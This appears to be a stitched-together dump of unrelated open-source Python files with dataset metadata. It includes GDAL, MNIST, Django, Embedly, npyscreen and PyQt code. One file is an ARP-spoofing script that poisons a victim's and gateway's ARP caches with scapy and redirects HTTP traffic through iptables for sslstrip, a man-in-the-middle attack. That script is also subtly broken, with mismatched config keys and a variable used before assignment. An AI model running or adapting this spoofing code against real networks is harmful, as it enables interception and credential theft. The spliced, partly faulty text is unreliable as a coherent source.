arguments.append(GdalUtils.getFormatShortNameFromFilename(out)) if self.getParameterValue(self.TR) != 0: arguments.append('-tr') arguments.append(str(self.getParameterValue(self.TR))) arguments.append(str(self.getParameterValue(self.TR))) extra = self.getParameterValue(self.EXTRA) if extra is not None: extra = str(extra) if rastext: regionCoords = rastext.split(',') if len(regionCoords) >= 4: arguments.append('-te') arguments.append(regionCoords[0]) arguments.append(regionCoords[2]) arguments.append(regionCoords[1]) arguments.append(regionCoords[3]) if GdalUtils.version() >= 2000000: if rastext_crs: arguments.append('-te_srs') arguments.append(rastext_crs) if extra and len(extra) > 0: arguments.append(extra) if GdalUtils.getFormatShortNameFromFilename(out) == "GTiff": arguments.append("-co COMPRESS=" + compress) if compress == 'JPEG': arguments.append("-co JPEG_QUALITY=" + jpegcompression) elif (compress == 'LZW') or (compress == 'DEFLATE'): arguments.append("-co PREDICTOR=" + predictor) if compress == 'DEFLATE': arguments.append("-co ZLEVEL=" + zlevel) if tiled == "True": arguments.append("-co TILED=YES") if tfw == "True": arguments.append("-co TFW=YES") if len(bigtiff) > 0: arguments.append("-co BIGTIFF=" + bigtiff) arguments.append("-wo OPTIMIZE_SIZE=TRUE") if GdalUtils.version() in [2010000, 2010100]: arguments.append("--config GDALWARP_IGNORE_BAD_CUTLINE YES") arguments.append(self.getParameterValue(self.INPUT)) arguments.append(out) return ['gdalwarp', GdalUtils.escapeAndJoin(arguments)]
gpl-2.0
8,993,122,762,215,593,000
44.813
138
0.56
false
AntoinePrv/hyperNN
problem/runnee.py
1
2008
import sys import os dir = "/".join(sys.argv[0].split("/")[:-2]) if dir != "": os.chdir(dir) sys.path.append(".") import argparse from load_data import load_data_bis from train_MINST import train_model from logger import custom_logger def run(**kwargs): data = load_data_bis() acc, _ = train_model(data, **kwargs) return acc if __name__ == "__main__": # create logger logger = custom_logger("train_MINST", "log/runnee.log") # gets arguments parser = argparse.ArgumentParser(description="Runs MNIST") parser.add_argument("--n_epoch", help="Number of epochs") parser.add_argument("--batch_size", help="Batch size") parser.add_argument("--noeuds", help="Nombre de noeuds", nargs="*") parser.add_argument("--activation", help="Activation: relu, sigmoid, tanh") parser.add_argument("--learning_rate", help="Learning rate") parser.add_argument("--reg_l1", help="L1 regularization coefficient") parser.add_argument("--reg_l2", help="L2 regularization coefficient") parser.add_argument("--moment", help="Momentum for the gradient descent") parser.add_argument("--decay", help="Decay for the learning_rate") parser.add_argument("--nesterov", help="Using nesterov for the momentum") args = vars(parser.parse_args()) params = {} for key in args: val = args[key] if val is not None: if key in ["n_epoch", "batch_size"]: params[key] = int(val) if key in ["learning_rate", "reg_l1", "reg_l2", "moment", "decay"]: params[key] = float(val) if key in ["nesterov"]: params[key] = bool(val) if key in ["activation"]: params[key] = val if key == "noeuds": neurons = map(lambda x: int(x), val) neurons = filter(lambda x: x > 0, neurons) params[key] = neurons params["n_couches"] = len(neurons) acc = run(**params) print(acc)
mit
-6,205,068,182,693,240,000
34.228
79
0.591
false
Lrcezimbra/google-python-exercises
logpuzzle/logpuzzle.py
1
2212
#!/usr/bin/python # Copyright 2010 Google Inc. # Licensed under the Apache License, Version 2.0 # http://www.apache.org/licenses/LICENSE-2.0 # Google's Python Class # http://code.google.com/edu/languages/google-python-class/ import os import re import sys from urllib.request import urlretrieve from pathlib import Path """Logpuzzle exercise Given an apache logfile, find the puzzle urls and download the images. Here's what a puzzle url looks like: 10.254.254.28 - - [06/Aug/2007:00:13:48 -0700] "GET /~foo/puzzle-bar-aaab.jpg HTTP/1.0" 302 528 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6" """ def read_urls(filename): """Returns a list of the puzzle urls from the given log file, extracting the hostname from the filename itself. Screens out duplicate urls and returns the urls sorted into increasing order.""" hostname = 'http://' + filename with open(filename) as file: log = file.read() images_list = re.findall('\S*/images/puzzle\S*', log) images = sorted(set(images_list)) return [hostname + image for image in images] def download_images(img_urls, dest_dir): """Given the urls already in the correct order, downloads each image into the given directory. Gives the images local filenames img0, img1, and so on. Creates an index.html in the directory with an img tag to show each local image file. Creates the directory if necessary. """ path = Path(dest_dir) if not path.exists(): path.mkdir() for i, img_url in enumerate(img_urls): img_filename = 'img%03d.jpg' % i urlretrieve(img_url, '%s/%s' % (dest_dir, img_filename)) with open('%s/index.html' % dest_dir, 'a') as file: file.write('<img src="%s" />\n' % img_filename) def main(): args = sys.argv[1:] if not args: print('usage: [--todir dir] logfile ') sys.exit(1) todir = '' if args[0] == '--todir': todir = args[1] del args[0:2] img_urls = read_urls(args[0]) if todir: download_images(img_urls, todir) else: print('\n'.join(img_urls)) if __name__ == '__main__': main()
apache-2.0
3,068,062,891,926,408,000
27
192
0.639
false
DigitalCampus/django-oppia
api/resources/category.py
1
4631
import json from django.conf.urls import url from django.db.models import Q from django.http import HttpResponse, Http404 from tastypie import fields from tastypie.authentication import ApiKeyAuthentication from tastypie.authorization import ReadOnlyAuthorization from tastypie.resources import ModelResource from tastypie.utils import trailing_slash from oppia.models import Course, Category from api.resources.course import CourseResource class CategoryResource(ModelResource): count = fields.IntegerField(readonly=True) class Meta: queryset = Category.objects.all() resource_name = 'tag' allowed_methods = ['get'] fields = ['id', 'name', 'description', 'highlight', 'icon', 'order_priority'] authentication = ApiKeyAuthentication() authorization = ReadOnlyAuthorization() always_return_data = True include_resource_uri = False def get_object_list(self, request): if request.user.is_staff: return Category.objects.filter( courses__isnull=False, coursecategory__course__is_archived=False).distinct().order_by( '-order_priority', 'name') else: return Category.objects.filter( courses__isnull=False, coursecategory__course__is_archived=False) \ .filter( Q(coursecategory__course__is_draft=False) | (Q(coursecategory__course__is_draft=True) & Q(coursecategory__course__user=request.user)) | (Q(coursecategory__course__is_draft=True) & Q(coursecategory__course__coursepermissions__user= request.user)) ) \ .distinct().order_by('-order_priority', 'name') def prepend_urls(self): return [ url(r"^(?P<resource_name>%s)/(?P<pk>\w[\w/-]*)%s$" % (self._meta.resource_name, trailing_slash()), self.wrap_view('tag_detail'), name="api_tag_detail"), ] def tag_detail(self, request, **kwargs): self.is_authenticated(request) self.throttle_check(request) pk = kwargs.pop('pk', None) try: category = self._meta.queryset.get(pk=pk) except Category.DoesNotExist: raise Http404() if request.user.is_staff: courses = Course.objects.filter( category=category, is_archived=False).order_by('-priority', 'title') else: courses = Course.objects.filter(category=category, is_archived=False) \ .filter( Q(is_draft=False) | (Q(is_draft=True) & Q(user=request.user)) | (Q(is_draft=True) & Q(coursepermissions__user=request.user)) ) \ .distinct().order_by('-priority', 'title') course_data = [] cr = CourseResource() for c in courses: bundle = cr.build_bundle(obj=c, request=request) cr.full_dehydrate(bundle) course_data.append(bundle.data) response = HttpResponse( content=json.dumps({'id': pk, 'count': courses.count(), 'courses': course_data, 'name': category.name}), content_type="application/json; charset=utf-8") return response def dehydrate_count(self, bundle): tmp = Course.objects.filter(category__id=bundle.obj.id, is_archived=False) if bundle.request.user.is_staff: count = tmp.count() else: count = tmp.filter(Q(is_draft=False) | (Q(is_draft=True) & Q(user=bundle.request.user))).count() return count def dehydrate_icon(self, bundle): if bundle.data['icon'] is not None: return bundle.request.build_absolute_uri(bundle.data['icon']) else: return None def alter_list_data_to_serialize(self, request, data): if isinstance(data, dict) and 'objects' in data: data['tags'] = data['objects'] del data['objects'] return data
gpl-3.0
2,553,082,281,161,417,700
36.347
79
0.521
false
evazyin/Capstoneproject
seedwords.py
1
2459
'''version1 seed words algorithm''' '''------------ input: a IR corpus, a expanding corpus(the candidate wordlist), a seed wordlist output: a expanded seed wordlist --------------''' import math file = open('D:/uw course/capstone/mypersonality/IRtest2.txt')#IR corpus file1 = open('D:/uw course/capstone/mypersonality/ECtest2grams.txt')#candidate file2 = open('D:/uw course/capstone/mypersonality/wordlist_lemma.txt')#keyword file3 = open('D:/uw course/capstone/mypersonality/wordlist_1_expanded.txt','w') total=0#to trace the process candidatelist = file1.readline().split(",") keywordlist = file2.readline().split(",") candidatecount=[0]*len(candidatelist) print(len(candidatelist)) keywordcount=[0]*len(keywordlist) cooccur= [[0 for col in range(len(keywordlist))] for row in range(len(candidatelist))] PMI=[[0 for col in range(len(keywordlist))] for row in range(len(candidatelist))] '''-----PMI calculation------''' while 1: #while total<=127679: line=file.readline() if not line: break total+=1 i=0 j=0 candidate=[0]*len(candidatelist) keyword=[0]*len(keywordlist) for w1 in candidatelist: print(w1) candidate[i]=line.count(w1) candidatecount[i]+=candidate[i] i+=1; for w2 in keywordlist: keyword[j]=line.count(w2) keywordcount[j]+=keyword[j] j+=1; for p in range(0,i-1):###may need debug for matrix demensions for q in range(0,j-1): if candidate[p]*keyword[q] >0: cooccur[p][q]+=min(candidate[p],keyword[q]) #!!!!!!! #print(cooccur) for N in range(1,100): if total == math.floor(12767965*N*0.01): print('%d' %N) for p in range(0,i-1): for q in range(0,j-1): if candidatecount[p]*keywordcount[q]*cooccur[p][q]>0: #PMI[p][q]=math.log(cooccur[p][q]/(candidatecount[p]*keywordcount[q])) PMI[p][q]=cooccur[p][q]/(candidatecount[p]*keywordcount[q]) else: PMI[p][q]=0 #print(PMI) '''--------------------------''' Threshold = 0.1 for p in range(0,i-1): PMI_MAX = PMI[p][0] for q in range(1,j-1): a = PMI[p][q] if a>PMI_MAX: PMI_MAX=a if PMI_MAX > Threshold: if candidate[p] not in keywordlist:#caution! and need further consideration keywordlist.append(candidatelist[p]) file3.write('%s,' %keywordlist) file.close() file1.close() file2.close() file3.close()
agpl-3.0
-5,441,539,671,506,725,000
29.738
86
0.612
false
bintlabs/python-sync-db
dbsync/server/conflicts.py
1
2225
""" .. module:: server.conflicts :synopsis: Conflict detection for the centralized push operation. """ from sqlalchemy.schema import UniqueConstraint from dbsync.lang import * from dbsync.utils import get_pk, class_mapper, query_model, column_properties def find_unique_conflicts(push_message, session): """ Returns a list of conflicts caused by unique constraints in the given push message contrasted against the database. Each conflict is a dictionary with the following fields:: object: the conflicting object in database, bound to the session columns: tuple of column names in the unique constraint new_values: tuple of values that can be used to update the conflicting object. """ conflicts = [] for pk, model in ((op.row_id, op.tracked_model) for op in push_message.operations if op.command != 'd'): if model is None: continue for constraint in ifilter(lambda c: isinstance(c, UniqueConstraint), class_mapper(model).mapped_table.constraints): unique_columns = tuple(col.name for col in constraint.columns) remote_obj = push_message.query(model).\ filter(attr('__pk__') == pk).first() remote_values = tuple(getattr(remote_obj, col, None) for col in unique_columns) if all(value is None for value in remote_values): continue local_obj = query_model(session, model).\ filter_by(**dict(izip(unique_columns, remote_values))).first() if local_obj is None: continue local_pk = getattr(local_obj, get_pk(model)) if local_pk == pk: continue push_obj = push_message.query(model).\ filter(attr('__pk__') == local_pk).first() if push_obj is None: continue # push will fail conflicts.append( {'object': local_obj, 'columns': unique_columns, 'new_values': tuple(getattr(push_obj, col) for col in unique_columns)}) return conflicts
mit
-572,390,988,439,292,000
38.035
80
0.586
false
embedly/embedly-python
embedly/client.py
1
4750
""" Client ====== The embedly object that interacts with the service """ from __future__ import absolute_import, unicode_literals import re import httplib2 import json from urllib import quote, urlencode from .models import Url def get_user_agent(): from . import __version__ return 'Mozilla/5.0 (compatible; embedly-python/%s;)' % __version__ class Embedly(object): """ Client """ def __init__(self, key=None, user_agent=None, timeout=60): """ Initialize the Embedly client :param key: Embedly Pro key :type key: str :param user_agent: User Agent passed to Embedly :type user_agent: str :param timeout: timeout for HTTP connection attempts :type timeout: int :returns: None """ self.key = key self.user_agent = user_agent or get_user_agent() self.timeout = timeout self.services = [] self._regex = None def get_services(self): """ get_services makes call to services end point of api.embed.ly to fetch the list of supported providers and their regexes """ if self.services: return self.services url = 'http://api.embed.ly/1/services/python' http = httplib2.Http(timeout=self.timeout) headers = {'User-Agent': self.user_agent, 'Connection': 'close'} resp, content = http.request(url, headers=headers) if resp['status'] == '200': resp_data = json.loads(content.decode('utf-8')) self.services = resp_data # build the regex that we can use later _regex = [] for each in self.services: _regex.append('|'.join(each.get('regex', []))) self._regex = re.compile('|'.join(_regex)) return self.services def is_supported(self, url): """ ``is_supported`` is a shortcut for client.regex.match(url) """ return self.regex.match(url) is not None @property def regex(self): """ ``regex`` property just so we can call get_services if the _regex is not yet filled. """ if not self._regex: self.get_services() return self._regex def _get(self, version, method, url_or_urls, **kwargs): """ _get makes the actual call to api.embed.ly """ if not url_or_urls: raise ValueError('%s requires a url or a list of urls given: %s' % (method.title(), url_or_urls)) # a flag we can use instead of calling isinstance() all the time multi = isinstance(url_or_urls, list) # throw an error early for too many URLs if multi and len(url_or_urls) > 20: raise ValueError('Embedly accepts only 20 urls at a time. Url ' 'Count:%s' % len(url_or_urls)) query = '' key = kwargs.get('key', self.key) # make sure that a key was set on the client or passed in if not key: raise ValueError('Requires a key. None given: %s' % key) kwargs['key'] = key query += urlencode(kwargs) if multi: query += '&urls=%s&' % ','.join([quote(url) for url in url_or_urls]) else: query += '&url=%s' % quote(url_or_urls) url = 'http://api.embed.ly/%s/%s?%s' % (version, method, query) http = httplib2.Http(timeout=self.timeout) headers = {'User-Agent': self.user_agent, 'Connection': 'close'} resp, content = http.request(url, headers=headers) if resp['status'] == '200': data = json.loads(content.decode('utf-8')) if kwargs.get('raw', False): data['raw'] = content else: data = {'type': 'error', 'error': True, 'error_code': int(resp['status'])} if multi: return map(lambda url, data: Url(data, method, url), url_or_urls, data) return Url(data, method, url_or_urls) def oembed(self, url_or_urls, **kwargs): """ oembed """ return self._get(1, 'oembed', url_or_urls, **kwargs) def preview(self, url_or_urls, **kwargs): """ oembed """ return self._get(1, 'preview', url_or_urls, **kwargs) def objectify(self, url_or_urls, **kwargs): """ oembed """ return self._get(2, 'objectify', url_or_urls, **kwargs) def extract(self, url_or_urls, **kwargs): """ oembed """ return self._get(1, 'extract', url_or_urls, **kwargs)
mit
-4,047,278,784,260,133,000
26.616
80
0.533
false
lilchurro/vent
vent/menus/ntap.py
1
9189
import ast import npyscreen from vent.api.actions import Action class CreateNTap(npyscreen.ActionForm): """ For creating a new network tap container """ def create(self): self.add_handlers({"^T": self.quit, "^Q": self.quit}) self.add(npyscreen.Textfield, value='Create a network tap that calls tcpdump and records ' 'based on the parameters given ', editable=False, color="STANDOUT") self.add(npyscreen.Textfield, value='via a POST request ' 'to the url of the core network tap tool. ', editable=False, color="STANDOUT") self.add(npyscreen.Textfield, value='An example payload: ', editable=False, color="STANDOUT") self.add(npyscreen.Textfield, value=' {"nic": "eth0", "id": "testId", "interval": "60" ' '"filter": "", "iters": "1"} ', editable=False, color="STANDOUT") self.nextrely += 1 self.nic = self.add(npyscreen.TitleText, name='nic') self.id = self.add(npyscreen.TitleText, name='id') self.interval = self.add(npyscreen.TitleText, name='interval') self.filter = self.add(npyscreen.TitleText, name='filter') self.iters = self.add(npyscreen.TitleText, name='iters') def on_ok(self): # error check to make sure all fields were filled out if not self.nic.value or not self.id.value or not self.interval.value \ or not self.iters.value: npyscreen.notify_confirm("Please fill out all fields", form_color='CAUTION') return # create a dictionary with user entered data payload = {} payload[self.nic.name] = self.nic.value payload[self.id.name] = self.id.value payload[self.interval.name] = self.interval.value payload[self.filter.name] = self.filter.value payload[self.iters.name] = self.iters.value # create an action object and have it do the work self.api_action = Action() try: url = self.api_action.get_vent_tool_url('network-tap')[1] + \ '/create' request = self.api_action.post_request(url, str(payload)) if request[0]: npyscreen.notify_confirm("Success: " + str(request[1])) self.quit() else: npyscreen.notify_confirm("Failure: " + str(request[1])) except Exception as e: # pragma: no cover npyscreen.notify_confirm("Failure: " + str(e)) return def quit(self, *args, **kwargs): """ Overriden to switch back to MAIN form """ self.parentApp.switchForm("MAIN") def on_cancel(self): """ When user cancels, return to MAIN """ self.quit() class NICsNTap(npyscreen.ActionForm): """ For listing all available network interfaces """ def create(self): self.add_handlers({"^T": self.quit, "^Q": self.quit}) self.add(npyscreen.Textfield, value='List all avilable network interfaces', editable=False, color="STANDOUT") self.nextrely += 1 try: self.api_action = Action() url = self.api_action.get_vent_tool_url('network-tap')[1] + '/nics' request = self.api_action.get_request(url) if request[0]: box = self.add(npyscreen.BoxTitle, name="Available Network Interfaces", max_height=40) request = ast.literal_eval(str(request[1])) data = [d for d in request[1].split("\n")] box.values = data else: npyscreen.notify_confirm("Failure: " + request[1]) except Exception as e: # pragma no cover npyscreen.notify_confirm("Failure: " + str(e)) def quit(self, *args, **kwargs): """ Overriden to switch back to MAIN form """ self.parentApp.switchForm("MAIN") def on_cancel(self): """ When user cancels, return to MAIN """ self.quit() def on_ok(self): self.quit() class ListNTap(npyscreen.ActionForm): """ For listing all network tap capture containers """ def create(self): self.add_handlers({"^T": self.quit, "^Q": self.quit}) self.add(npyscreen.Textfield, value='List all network tap capture containers', editable=False, color="STANDOUT") self.nextrely += 1 try: self.api_action = Action() url = self.api_action.get_vent_tool_url('network-tap')[1] + '/list' request = self.api_action.get_request(url) if request[0]: box = self.add(npyscreen.BoxTitle, name="Network Tap Capture Containers", max_height=40) request = ast.literal_eval(str(request[1])) data = [d for d in list(request[1])] box.values = data else: npyscreen.notify_confirm("Failure: " + request[1]) except Exception as e: # pragma no cover npyscreen.notify_confirm("Failure: " + str(e)) def quit(self, *args, **kwargs): """ Overriden to switch back to MAIN form """ self.parentApp.switchForm("MAIN") def on_cancel(self): """ When user cancels, return to MAIN """ self.quit() def on_ok(self): self.quit() class ActionNTap(npyscreen.ActionForm): """ Base class to inherit from. """ def __init__(self, n_action=None, *args, **kwargs): self.n_action = n_action super(ActionNTap, self).__init__(*args, **kwargs) def create(self): self.add_handlers({"^T": self.quit, "^Q": self.quit}) self.add(npyscreen.Textfield, value=self.n_action + ' a network tap capture container.', editable=False, color="STANDOUT") self.add(npyscreen.Textfield, value='Choose a container to ' + self.n_action, editable=False, color="STANDOUT") self.nextrely += 1 try: self.api_action = Action() # display all containers by sending a get request to ntap/list # nlist returns tuple and get_request returns tuple url = self.api_action.get_vent_tool_url('network-tap')[1] + '/list' request = self.api_action.get_request(url) # create selection for containers if request[0]: request = ast.literal_eval(str(request[1])) data = [d for d in list(request[1])] self.ms = self.add(npyscreen.TitleMultiSelect, max_height=20, name='Choose one or more containers to ' + self.n_action, values=data) else: npyscreen.notify_confirm("Failure: " + str(request[1])) except Exception as e: # pragma: no cover npyscreen.notify_confirm("Failure: " + str(e)) def on_ok(self): # error check to make sure at least one box was selected if not self.ms.value: npyscreen.notify_confirm("Please select at least one container.", form_color='CAUTION') # format the data into something ncontrol likes else: payload = {'id': list(x['id'] for x in self.ms.get_selected_objects())} # grab the url that network-tap is listening to try: npyscreen.notify_wait("Please wait. Currently working") self.api_action = Action() url = self.api_action.get_vent_tool_url('network-tap')[1] + "/" \ + self.n_action request = self.api_action.post_request(url, payload) if request[0]: npyscreen.notify_confirm("Success: " + str(request[1])) self.quit() else: npyscreen.notify_confirm("Failure: " + str(request[1])) except Exception as e: # pragma: no cover npyscreen.notify_confirm("Failure: " + str(e)) def quit(self, *args, **kwargs): """ Overriden to switch back to MAIN form """ self.parentApp.switchForm("MAIN") def on_cancel(self): """ When user cancels, return to MAIN """ self.quit() class DeleteNTap(ActionNTap): """ Delete inheritance """ def __init__(self, *args, **kwargs): ActionNTap.__init__(self, 'delete') class StartNTap(ActionNTap): """ Delete inheritance """ def __init__(self, *args, **kwargs): ActionNTap.__init__(self, 'start') class StopNTap(ActionNTap): """ Delete inheritance """ def __init__(self, *args, **kwargs): ActionNTap.__init__(self, 'stop')
apache-2.0
-5,499,286,685,946,207,000
34.342
79
0.536
false
janusnic/21v-python
unit_17/1.py
1
1114
#!/usr/bin/python # -*- coding: utf-8 -*- import sys from PyQt4 import QtGui, QtCore class Example(QtGui.QWidget): def __init__(self): super(Example, self).__init__() self.initUI() def initUI(self): self.text = u'\u041b\u0435\u0432 \u041d\u0438\u043a\u043e\u043b\u0430\ \u0435\u0432\u0438\u0447 \u0422\u043e\u043b\u0441\u0442\u043e\u0439: \n\ \u0410\u043d\u043d\u0430 \u041a\u0430\u0440\u0435\u043d\u0438\u043d\u0430' self.setGeometry(300, 300, 280, 170) self.setWindowTitle('Draw text') self.show() def paintEvent(self, event): qp = QtGui.QPainter() qp.begin(self) self.drawText(event, qp) qp.end() def drawText(self, event, qp): qp.setPen(QtGui.QColor(168, 34, 3)) qp.setFont(QtGui.QFont('Decorative', 10)) qp.drawText(event.rect(), QtCore.Qt.AlignCenter, self.text) def main(): app = QtGui.QApplication(sys.argv) ex = Example() sys.exit(app.exec_()) if __name__ == '__main__': main()
mit
-4,442,118,358,656,477,000
23.239
78
0.568
false
wiki2014/Learning-Summary
alps/cts/apps/CameraITS/tests/inprog/test_rawstats.py
2
1620
# Copyright 2015 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import its.image import its.caps import its.device import its.objects import its.target import os.path import math def main(): """Test capturing some rawstats data. """ NAME = os.path.basename(__file__).split(".")[0] with its.device.ItsSession() as cam: cam.do_3a(do_af=False); req = its.objects.auto_capture_request() for (gw,gh) in [(16,16)]:#,(4080,1)]: cap = cam.do_capture(req, {"format":"rawStats","gridWidth":gw,"gridHeight":gh}) mean_image, var_image = its.image.unpack_rawstats_capture(cap) if gw > 1 and gh > 1: h,w,_ = mean_image.shape for ch in range(4): m = mean_image[:,:,ch].reshape(h,w,1)/1023.0 v = var_image[:,:,ch].reshape(h,w,1) its.image.write_image(m, "%s_mean_ch%d.jpg" % (NAME,ch), True) its.image.write_image(v, "%s_var_ch%d.jpg" % (NAME,ch), True) if __name__ == '__main__': main()
gpl-3.0
-7,820,512,805,679,995,000
32.75
82
0.613
false
AlienStudio/jpsp_python
jpsp/jpspapp/urls.py
1
2922
from django.urls import path from . import views urlpatterns = [ path('logout', views.student_logout, name="Logout"), path(r's/login', views.student_login_page, name="StudentLogin"), path('s/check_login', views.student_check_login, name="StudentCheckLogin"), path(r's/club/news/<int:page>', views.student_club_news), path(r's/club/list/<int:page>', views.student_club_list, name='StudentClubList'), path('s/club/detail/<int:club_id>', views.student_club_detail, name="StudentClubDetail"), path('s/club/establish', views.student_club_establish, name="StudentClubEstablish"), path('s/club/attend', views.student_club_attend, name="StudentClubAttend"), path(r's/dashboard', views.student_dashboard_index, name="StudentDashboardIndex"), path(r's/dashboard/password', views.student_dashboard_password, name="StudentDashboardPassword"), path(r's/dashboard/clubs', views.student_dashboard_clubs, name="StudentDashboardClubs"), path(r's/dashboard/activities', views.student_dashboard_activities, name="StudentDashboardActivities"), path('cd/login', views.admin_login_page, name="CDLogin"), path('c/login', views.club_login_page, name="ClubLogin"), path('c/check_login', views.club_check_login, name="ClubCheckLogin"), path('c/dashboard', views.club_dashboard_index, name="ClubDashboardIndex"), path('c/post/add/check',views.club_post_add_check,name="ClubPostAddCheck"), path('c/post/add',views.club_post_add,name="ClubPostAdd"), path('c/logout',views.club_logout,name="ClubLogout"), path('c/member/list',views.club_member_list,name="ClubMemberList"), path('c/file/upload/list/<int:page>', views.club_file_upload_list, name="ClubFileUploadList"), path('c/file/download/list/<int:page>', views.club_file_download_list, name="ClubFileDownloadList"), path('c/file/upload', views.club_file_upload, name="ClubFileUpload"), path('cd/check_login', views.admin_check_login, name="CDCheckLogin"), path('cd/dashboard', views.admin_dashboard, name="CDDashboard"), path('cd/post/list/<int:page>', views.admin_post_list, name="CDPostList"), path('cd/post/detail/<int:post_id>',views.admin_post_detail,name="CDPostDetail"), path('cd/post/star',views.admin_post_star,name="CDPostStar"), path('cd/event/list/<int:page>', views.admin_event_list, name="CDEventList"), path('cd/file/upload/list/<int:page>', views.admin_file_upload_list, name="CDFileUploadList"), path('cd/file/download/list/<int:page>', views.admin_file_download_list, name="CDFileDownloadList"), path('cd/file/upload', views.admin_file_upload, name="CDFileUpload"), path('cd/student/list', views.admin_student_list, name="CDStudentList"), path('cd/club/list',views.admin_club_list,name="CDClubList"), path('s/about', views.about, name="About"), path('contact', views.contact, name="Contact"), path('', views.index, name="Index") ]
mit
4,627,145,095,779,551,000
66.953
107
0.712
false
gnomex/analysis
src/arpspoof.py
1
5528
#!/usr/bin/python # src from https://github.com/rusec/scapy-arpspoof-demo from scapy.all import * from argparse import ArgumentParser import os IP_FORWARD = '/proc/sys/net/ipv4/ip_forward' TIMEOUT = 2 RETRY = 10 # This function uses argparse to parse command line # arguments passed to the script. def set_configs(): # create a new ArgumentParser parser = ArgumentParser() # add definitions for command line arguments parser.add_argument('-t', dest='victim', required=True, type=str, help='The victim\'s IP address') parser.add_argument('-g', dest='gateway', required=True, type=str, help='The gateway\'s IP address') parser.add_argument('-i', dest='interface', required=True, type=str, help='Use this network interface') # parse command line arguments according to those definitions args = parser.parse_args() # use arguments to construct config dictionary return { 'victim' : { 'ip' : args.victim, 'mac' : ip_to_mac(args.victim), }, 'gateway' : { 'ip' : args.gateway, 'mac' : ip_to_mac(args.gateway), }, 'iface' : args.interface, } # enables packet forwarding by interacting with the proc filesystem def enable_packet_forwarding(): with open(IP_FORWARD, 'w') as fd: fd.write('1') # disables packet forwarding by interacting with the proc filesystem def disable_packet_forwarding(): with open(IP_FORWARD, 'w') as fd: fd.write('0') # use iptables to redirect http traffic to port 10000 where it can # be parsed using sslstrip def enable_http_redirection(): print '[*] Redirecting all http traffic to port 10000' os.system('iptables -v -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000') # restore iptables to default state def disable_http_redirection(): print '[*] Disabling http redirection' os.system('iptables -v --flush') os.system('iptables -v --table nat --flush') os.system('iptables -v --delete-chain') os.system('iptables -v --table nat --delete-chain') # uses scapy to arp poison victim def poison_victim(configs): # get victim and gateway ip and hardware addresses from # configs victim_mac = configs['victim_mac'] gateway_mac = configs['gateway_mac'] victim_ip = configs['victim_ip'] gateway_ip = configs['gateway_ip'] # create layer 3 Arp() packets victim_arp = ARP() gateway_arp = ARP() # set Operation to 'is-at' victim_arp.op = 2 gateway_arp.op = 2 # set hwdst victim_arp.hwdst = victim_mac gateway_arp.hwdst = gateway_mac # set pdst victim_arp.pdst = victim_ip gateway_arp.pdst = gateway_ip # set psrc victim_arp.psrc = gateway_ip gateway_arp.psrc = victim_ip # continue attack indefinitely while True: try: print '[*] Poisoning victim' # send spoofed arp replies send(victim_arp) send(gateway_arp) # wait for ARP replies from default GW or victim sniff(filter='arp and host %s or %s' %\ (gateway_ip, victim_ip), count=1) # break out of loop if user hits ctrl+c except KeyboardInterrupt: break print '[*] All done!' # restores the victim and gateway's arp cache to its correct # state def restore_victim(configs): victim_mac = configs['victim_mac'] gateway_mac = configs['gateway_mac'] victim_ip = configs['victim_ip'] gateway_ip = configs['gateway_ip'] # create a Layer 3 ARP() packet victim_arp = ARP() # set correct source ip and mac victim_arp.hwsrc = gateway_mac victim_arp.psrc = gateway_ip # broadcast 'is-at' packet gateway_arp.op = 2 gateway_arp.hwdst = 'ff:ff:ff:ff:ff:ff' send(gateway_arp) # create a Layer 3 ARP() packet gateway_arp = ARP() # set correct source ip and mac gateway_arp.hwsrc = victim_mac gateway_arp.psrc = victim_ip # broadcast 'is-at' packet gateway_arp.op = 2 gateway_arp.hwdst = 'ff:ff:ff:ff:ff:ff' send(gateway_arp) # sends a legitimate arp request to resolve an IP to a # mac address def ip_to_mac(ip, retry=RETRY, timeout=TIMEOUT): arp = ARP() # set operation to 'who-has' (arp request) arp.op = 1 arp.hwdst = 'ff:ff:ff:ff:ff:ff' arp.pdst = ip response, unanswered = sr(arp, retry=retry, timeout=timeout) # get the response from the first packet received by accessing # layer 2 header for s,r in response: return r[ARP].underlayer.src # return failure return None # driver function for arp cache poisoning attack def poison(configs): enable_packet_forwarding() enable_http_redirection() #poison_victim(configs) # driver function for restoring victim and gateway after # arp cache poisoning attack def antidote(configs): #restore_victim(configs) disable_http_redirection() disable_packet_forwarding() def main(): configs = set_configs() print '[*] Using interface', configs['iface'] conf.iface = configs['iface'] try: poison(configs) except KeyboardInterrupt: pass antidote(configs) if __name__ == '__main__': main()
gpl-3.0
-362,603,220,197,692,000
23.035
107
0.611
false
js850/PyGMIN
pygmin/gui/double_ended_connect_runner.py
1
10710
""" tools to run the double ended connect in a separte process and make sure the the minima and transition states found are incorporated back into the master database """ import multiprocessing as mp import sys import signal import logging import numpy as np from PyQt4 import QtCore, QtGui from pygmin.utils.events import Signal class UnboundMinimum(object): def __init__(self, minimum): self._id = minimum._id self.energy = minimum.energy self.coords = minimum.coords.copy() class UnboundTransitionState(object): def __init__(self, ts): self._id = ts._id self.energy = ts.energy self.coords = ts.coords.copy() self.eigenvec = ts.eigenvec self.eigenval = ts.eigenval self._minimum1_id = ts._minimum1_id self._minimum2_id = ts._minimum2_id class OutLog(object): """for redirecting stdout or stderr everytime something is written to this object, it is sent through the pipe `conn`. from http://www.riverbankcomputing.com/pipermail/pyqt/2009-February/022025.html """ def __init__(self, conn): self.conn = conn self.message = "" def write(self, m): if len(m) > 0: self.conn.send(("stdout", m)) return ## sys.stderr.write(":sending message:"+ m) # self.message += m ## if len(self.message) > 100: ## self.flush() ### self.conn.send(("stdout", m)) ## if len(self.mes) # if self.message[-1] == "\n": # self.flush() def flush(self): # self.conn.send(("stdout", self.message)) # self.message = "" pass class DECProcess(mp.Process): """This object will run in a separate process and will actually do the connect run when the run is finished the minima and transition states found will be sent back through the pipe as UnboundMinimum and UnboundTransitionState objects Parameters ---------- comm : pipe child end of a mp.Pipe() system : min1, min2 : the minima to try to connect pipe_stdout : bool if true log messages will be sent back through the pipe return_smoothed_path : bool if the run ends successfully the smoothed path will be sent 